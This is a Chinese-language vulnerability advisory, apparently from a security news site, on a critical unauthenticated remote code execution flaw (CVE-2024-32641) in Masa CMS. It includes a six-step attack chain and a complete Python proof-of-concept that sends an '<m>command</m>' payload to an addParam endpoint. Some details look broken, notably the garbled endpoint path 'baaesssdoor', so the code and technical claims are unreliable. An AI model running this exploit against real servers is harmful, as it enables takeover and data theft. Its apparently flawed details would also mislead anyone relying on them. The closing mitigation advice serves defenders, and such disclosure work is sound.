IPBUF安全漏洞报告
English
CVE-2024-32641 CVSS 9.8 严重

CVE-2024-32641: Masa CMS addParam函数远程代码执行漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2024-32641
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Masa CMS

相关标签

CVE-2024-32641远程代码执行Masa CMS服务器端模板注入addParamm标签无需认证CVSS 9.8

漏洞概述

CVE-2024-32641是Masa CMS中的一个严重远程代码执行漏洞,CVSS评分高达9.8,属于严重级别。Masa CMS是一个开源的企业内容管理平台,广泛应用于各类网站和企业的内容管理系统中。该漏洞存在于addParam函数的criteria参数处理逻辑中,攻击者可以通过该参数注入恶意内容,这些内容随后会被setDynamicContent函数处理并执行。由于漏洞利用无需任何认证,且可通过网络远程触发,因此对互联网上的Masa CMS实例构成严重威胁。攻击者利用此漏洞可以完全控制目标服务器,执行任意系统命令,窃取敏感数据,安装后门程序,甚至进一步横向移动攻击内网其他系统。该漏洞于2024年被发现并报告,2025年12月正式披露,目前已有针对此漏洞的公开利用代码,强烈建议受影响用户立即采取修复措施。

技术细节

该漏洞的核心问题在于Masa CMS的addParam函数对用户输入的criteria参数缺乏充分的输入验证和过滤。当用户通过HTTP请求向addParam函数提交criteria参数时,该参数值会被直接传递给setDynamicContent函数进行处理。setDynamicContent函数在渲染内容时,会解析并执行特定的标签语法,特别是m标签。攻击者可以通过构造特殊的m标签 payload,利用服务器端模板注入的方式执行任意系统命令。具体来说,攻击者可以在criteria参数中嵌入类似<m>whoami</m>的命令执行语句,setDynamicContent函数会将其解析为命令执行操作。由于整个过程发生在服务器端,攻击者可以在不需要任何身份验证的情况下远程触发该漏洞。此漏洞影响Masa CMS 7.2.8之前的所有7.2.x版本、7.3.13之前的所有7.3.x版本以及7.4.6之前的所有7.4.x版本。漏洞已在7.2.8、7.3.13和7.4.6版本中得到修复,修复方式主要是对addParam函数的criteria参数进行了严格的输入验证,并对setDynamicContent函数的标签解析逻辑进行了安全加固。

攻击链分析

STEP 1
步骤1
攻击者识别运行Masa CMS的目标服务器,通过版本探测确认其版本低于7.2.8、7.3.13或7.4.6
STEP 2
步骤2
攻击者构造恶意HTTP请求,向addParam函数端点发送包含特殊m标签的criteria参数
STEP 3
步骤3
addParam函数接收criteria参数后,将恶意内容传递给setDynamicContent函数进行处理
STEP 4
步骤4
setDynamicContent函数解析m标签,将标签内容作为系统命令在服务器端执行
STEP 5
步骤5
命令执行结果通过HTTP响应返回给攻击者,攻击者获得服务器命令执行权限
STEP 6
步骤6
攻击者利用获得的命令执行权限,进一步部署后门、窃取数据或横向移动攻击内网系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-32641 PoC - Masa CMS Remote Code Execution # Target: Masa CMS < 7.2.8, 7.3.13, 7.4.6 def exploit_cve_2024_32641(target_url, command="whoami"): """ Exploit for CVE-2024-32641: Masa CMS addParam RCE via m tag Args: target_url: Base URL of the vulnerable Masa CMS instance command: System command to execute on the target server Returns: Response content containing command execution result """ # Construct the vulnerable endpoint endpoint = f"{target_url}/index.cfm/baaesssdoor/addParam" # Payload using m tag for command execution # The addParam function accepts criteria parameter which is evaluated by setDynamicContent payload = f"<m>{command}</m>" # Prepare the POST request data = { "criteria": payload } try: # Send the exploit request response = requests.post(endpoint, data=data, timeout=30, verify=False) print(f"[*] Target: {target_url}") print(f"[*] Command: {command}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit_cve_2024_32641(target, cmd)

影响范围

Masa CMS < 7.2.8 (所有7.2.x版本)
Masa CMS < 7.3.13 (所有7.3.x版本)
Masa CMS < 7.4.6 (所有7.4.x版本)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面禁止访问addParam端点或对criteria参数进行过滤;2) 部署Web应用防火墙规则,拦截包含<m>标签的请求;3) 限制对管理接口的网络访问,仅允许可信IP访问;4) 启用服务器端的安全监控和日志审计,及时发现异常请求行为。但这些措施仅为临时解决方案,强烈建议尽快完成版本升级以彻底消除漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表